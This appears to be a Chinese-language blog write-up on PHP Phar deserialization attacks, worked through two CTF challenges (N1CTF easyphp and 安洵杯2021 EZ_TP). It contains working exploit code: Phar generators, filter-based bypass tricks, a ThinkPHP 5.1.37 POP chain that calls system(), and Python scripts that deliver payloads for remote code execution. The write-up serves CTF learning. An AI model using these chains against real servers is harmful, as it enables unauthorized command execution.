views
Word count: 3.5k
(~16 mins to read)
Last updated:
Phar
什么是Phar
PHp ARchive, like a Java JAR, but for PHP.
phar(PHp ARchive)是类似于JAR的一种打包文件。PHP ≥5.3对Phar后缀文件是默认开启支持的,不需要任何其他的安装就可以使用它。
phar扩展提供了一种将整个PHP应用程序放入.phar文件中的方法,以方便移动、安装。.phar文件的最大特点是将几个文件组合成一个文件的便捷方式,.phar文件提供了一种将完整的PHP程序分布在一个文件中并从该文件中运行的方法。
说白了,就是一种压缩文件,但是不止能放压缩文件进去。
在做进一步探究之前需要先调整配置,因为对于Phar文件的相关操作,php缺省状态是只读的(也就是说单纯使用Phar文件不需要任何的调整配置)。但是因为我们现在需要创建一个自己的Phar文件,所以需要允许写入Phar文件,这需要修改一下 php.ini
打开 php.ini
,找到 phar.readonly
指令行,修改成:
即可。
Phar文件格式
Phar文件由四部分组成:
1.stub
stub是phar文件的文件头,格式为xxxxxx<?php ...;__HALT_COMPILER();?>
,xxxxxx可以是任意字符,包括留空,且php闭合符与最后一个分号之间不能有多于一个的空格符。另外php闭合符也可省略。
2.manifest describing the contents
该区域存放phar包的属性信息,允许每个文件指定文件压缩、文件权限,甚至是用户定义的元数据,如文件用户或组。

这里面的metadata以serialize形式储存,为反序列化漏洞埋下了伏笔。
3.file contents
被压缩的用户添加的文件内容
4.signature
可选,phar文件的签名,允许的有MD5, SHA1, SHA256, SHA512和OPENSSL.

这部分以GBMB
(47 42 4d 42)结尾。
需要注意,stub不一定要在文件开头。
利用方式
在2018 Black Hat上,安全研究员Sam Thomas
分享了议题It’s a PHP unserialization vulnerability Jim, but not as we know it
.
https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf
利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性,拓展了php反序列化漏洞的攻击面。该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。
也就是说,如果我们能控制传入以下函数的参数,就有潜在的phar反序列化漏洞利用可能:

还有一些别的函数可用,可参考这篇:https://www.freebuf.com/articles/web/205943.html
试试看?
我们先来生成一个phar:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php class TestObject { }
@unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $o = new TestObject(); $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?>
|
注意这边$o反序列化只会保存数据不会保存方法。执行完毕后,我们来观察phar文件的内容:

GBMB结尾的签名以及序列化后的metadata清晰可见。
1 2 3 4 5 6 7 8 9 10
| <?php class TestObject { public function __destruct() { echo 'Destruct called'; } }
$filename = 'phar://phar.phar/test.txt'; file_get_contents($filename); ?>
|
在上面的程序执行之后,我们会发现它输出了“Destruct called”.这是由于phar被解析的时候,metadata被反序列化了,于是该实例被析构时调用__destruct函数。这便是反序列化漏洞的来由。
PHP ≥5.3默认支持phar文件;而在PHP8中,该漏洞被修复:metadata不会自动被反序列化了。(来源请求)
phar://是什么
前面提到,我们解析phar文件常常使用phar://伪协议。CTF中,由于伪协议提供了一系列对于文件的封装协议,使得当源程序有可控的文件包含函数时,我们有机会利用这些协议控制其返回值或是完成一些预料外操作(例如反序列化)。作为伪协议的一种,由于phar本质上就是一个特殊的压缩文件,所以phar://和zip://其实有很多相似之处,都可以访问压缩包中的子文件,并且zip://需要文件绝对路径,phar://并不需要。(来源请求)
小tricks
绕过前缀过滤
队里师傅的几个example可以类比使用,都是在前缀非phar://的情况下调用了phar://
compress.bzip2和compress.zlib
1 2 3 4
| <?php $z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt'; $z = 'compress.zlib://phar:///home/sx/test.phar/test.txt'; file_get_contents($z);
|
php://
1 2 3
| <?php include('php://filter/read=convert.base64-encode/resource=phar://phar.phar'); file_get_contents('php://filter/read=convert.base64-encode/resource=phar://phar.phar');
|
简单的绕过
我们可以利用stub部分前缀任意的特性:
1 2
| <?php $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
|
这可以绕过一部分对文件头的检测。
绕过前后脏数据
由于签名部分的存在,php会校验文件哈希值,并检查末尾是否为GBMB,如下是解析部分的源码:

https://github.dev/php/php-src
可见,如果末尾不是GBMB会直接导致解析失败。
在CTF中利用该漏洞需要我们完成写入/上传phar,并调用文件包含函数。我们知道一句话木马由于有<?php ?>
这样的头尾标识存在,可以无视前后脏数据;然而对于phar,这样的骚操作被签名部分阻止了。有办法绕过吗?请参阅:https://www.php.net/manual/zh/phar.converttoexecutable.php
利用convertToExecutable函数,我们可以把phar文件转为其他格式的phar文件,例如.tar和.zip格式。
我们以N1CTF easyphp为例子,这题允许我们写入日志,并且可以利用phar反序列化得到flag,难点在于日志文件前后有额外脏数据,会使得我们的phar文件无法被解析。
然而如果以tar格式储存phar,末尾的脏数据并不会影响解析(这是tar的格式决定的),而开头的脏数据可以在制造phar文件时就提前构造好(这样这部分数据也会被纳入签名计算),写入日志时不必写入这部分,而是令其与脏数据拼接形成合法的phar。exploit如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php CLASS FLAG { public function __destruct(){ echo "FLAG: " . $this->_flag; } } $sb = $_GET['sb']; $ts = $_GET['ts']; $phar = new Phar($sb.".phar"); **$phar = $phar->convertToExecutable(Phar::TAR); $phar->startBuffering(); $phar->addFromString("Time: ".$ts." IP: [], REQUEST: [log_type=".$sb."], CONTENT: [", ""); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $o = new FLAG(); $o -> data = 'g0dsp3ed_1s_g0D'; $phar->setMetadata($o); $phar->stopBuffering(); ?>
|
把这个跑在本地web服务上,然后写个脚本(当时半夜赶制的很丑会留下一些垃圾文件 求轻喷 队里师傅写的干净多了):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| import requests as rq import json import time import random ip = '<here_is_remote_ip>' def generate_random_str(randomlength=16): """ 生成一个指定长度的随机字符串 """ random_str = '' base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789' length = len(base_str) - 1 for i in range(randomlength): random_str += base_str[random.randint(0, length)] return random_str def new_one(offset): rd = generate_random_str(4) ts2 = time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()+offset)) ts = time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time())) res = rq.get(url=f"http://127.0.0.1/test.php?sb={rd}&ts={ts2}") with open(f'{rd}.phar.tar',"rb") as f: data = f.read() data = data[70::] headers = {'content-type': 'application/x-www-form'} res = rq.post(url=f"http://43.155.59.185:53340/log.php?log_type={rd}",data=data) res = rq.post(url=f"http://43.155.59.185:53340?file=phar://./log/{ip}/{rd}_www.log") print(res.text) for i in range(-30,30): new_one(i) time.sleep(0.9) """生成的文件长这样(看个开头就行) 00000000: 5469 6d65 3a20 3230 3231 2d31 312d 3232 Time: 2021-11-22 00000010: 2030 363a 3533 3a31 3520 4950 3a20 5b5d 06:53:15 IP: [] 00000020: 2c20 5245 5155 4553 543a 205b 5d2c 2043 , REQUEST: [], C 00000030: 4f4e 5445 4e54 3a20 5b5f 5f5f 5f5f 5f5f ONTENT: [_______ 00000040: 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f ________________ 00000050: 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f ________________ 00000060: 5f5f 5f5f 3030 3030 3634 3400 0000 0000 ____0000644..... 00000070: 0000 0000 0000 0000 0000 0000 3030 3030 ............0000 00000080: 3030 3030 3032 3400 3134 3134 3636 3337 0000024.14146637 00000090: 3133 3300 3030 3233 3534 3320 3000 0000 133.0023543 0... 000000a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ """
|
不只是tar,还有别的格式:

https://www.php.net/manual/zh/phar.converttoexecutable.php
对应的代码:
1 2 3 4
| <?php $phar = $phar->convertToExecutable(Phar::TAR,Phar::BZ2); $phar = $phar->convertToExecutable(Phar::TAR,Phar::GZ); $phar = $phar->convertToExecutable(Phar::ZIP);
|
POP链
POP(property oriented programming),说白了就是经过一连串的魔术方法/特殊方法调用达到特定目的的一种攻击方式,本质是通过在调用这些方法的过程中又触发了别的特殊方法,引发连锁反应直到触及目标。phar反序列化使得不存在unserilize函数时这样的攻击也能成功,这正是所谓“扩大攻击面”。我们以刚刚结束的安洵杯2021 EZ_TP为例子。
网站使用ThinkPHP V5.1.37,网上已有现成的POP链,现在需要我们在没有unserilize函数的情况下完成反序列化攻击。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| <?php namespace app\index\controller; use think\Controller;
class Index extends controller { public function index() { return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V5.1<br/><span style="font-size:30px">12载初心不改(2006-2018) - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>'; }
public function hello() { highlight_file(__FILE__); $hello = base64_encode('Welcome to D0g3'); if (isset($_GET['hello'])||isset($_POST['hello'])) exit; if(isset($_REQUEST['world'])) { parse_str($_REQUEST['world'],$haha); extract($haha); } if (!isset($a)) { $a = 'hello.txt'; } $s = base64_decode($hello); file_put_contents('hello.txt', $s); if(isset($a)) { echo (file_get_contents($a)); } } }
|
parse_str()和extract()使得我们可以通过变量覆盖完成文件写入与任意读取,并且$a可以使用伪协议。那么接下来的事情就理所应当了:往hello.txt里写入一个phar,metadata里面放ThinkPHP 5.1.37 的反序列化利用链,完成RCE.(关于这个POP链的原理请参阅https://www.hacking8.com/bug-web/Thinkphp/Thinkphp-反序列化漏洞/Thinkphp-5.1.37-反序列化漏洞.html 讲的很详细)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| <?php namespace think{ abstract class Model{ protected $append = []; private $data = []; function __construct(){ $this->append = ["ethan"=>["godspeedyyds","xtxyyds"]]; $this->data = ["ethan"=>new Request()]; } } class Request{ protected $hook = []; protected $filter = "system"; protected $config = [ 'var_method' => '_method', 'var_ajax' => '_ajax', 'var_pjax' => '_pjax', 'var_pathinfo' => 's', 'pathinfo_fetch' => [ 'ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL' ], 'default_filter' => '', 'url_domain_root' => '', 'https_agent_name' => '', 'http_agent_ip' => 'HTTP_X_REAL_IP', 'url_html_suffix' => 'html', ]; protected $param = ['cat /y0u_f0und_It']; function __construct(){ $this->filter = "system"; $this->config = ["var_ajax"=>'']; $this->hook = ["visible"=>[$this,"isAjax"]]; } } }
namespace think\process\pipes{ use think\model\concern\Conversion; use think\model\Pivot; class Windows{ private $files = [];
public function __construct(){ $this->files = [new Pivot()]; } } }
namespace think\model{ use think\Model;
class Pivot extends Model{
} }
namespace{ use think\process\pipes\Windows; $w = new Windows();
$p = new Phar('phar.phar'); $p->startBuffering(); $p->setStub('<?php __HALT_COMPILER();?>'); $p->setMetadata($w); $p->addFromString("test", "12345"); $p->stopBuffering(); }
|
执行后生成phar,然后执行脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| import requests import urllib.parse import base64 import os with open('phar.phar','rb') as f: s = f.read()
s = urllib.parse.quote(base64.b64encode(s).decode())
remote = '<here_is_remote_ip>' sess =requests.session() r = sess.post( url = f'http://{remote}/index.php/index/index/hello', params={ 'ethan':'<here_is_your_shell_command>' }, data = { 'world':f'hello={s}&a=phar://./hello.txt' } ) print(r.text)
|
成功RCE
总结
phar反序列化提供了一种扩展反序列化漏洞攻击面的方式、入口,所以基于unserialize()函数的各类攻击tricks(比如引用绕过之类的)依然适用。鉴于phar反序列化漏洞设计版本较多,相信CTF比赛中它仍然会稳定出场。
参考资料:
Thinkphp-5.1.37-反序列化漏洞
https://www.php.net/manual/zh/class.phar.php
Thinkphp 5.1.37反序列化漏洞
us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It
https://github.dev/php/php-src
packaging-your-php-apps-with-phar
PHAR反序列化拓展操作总结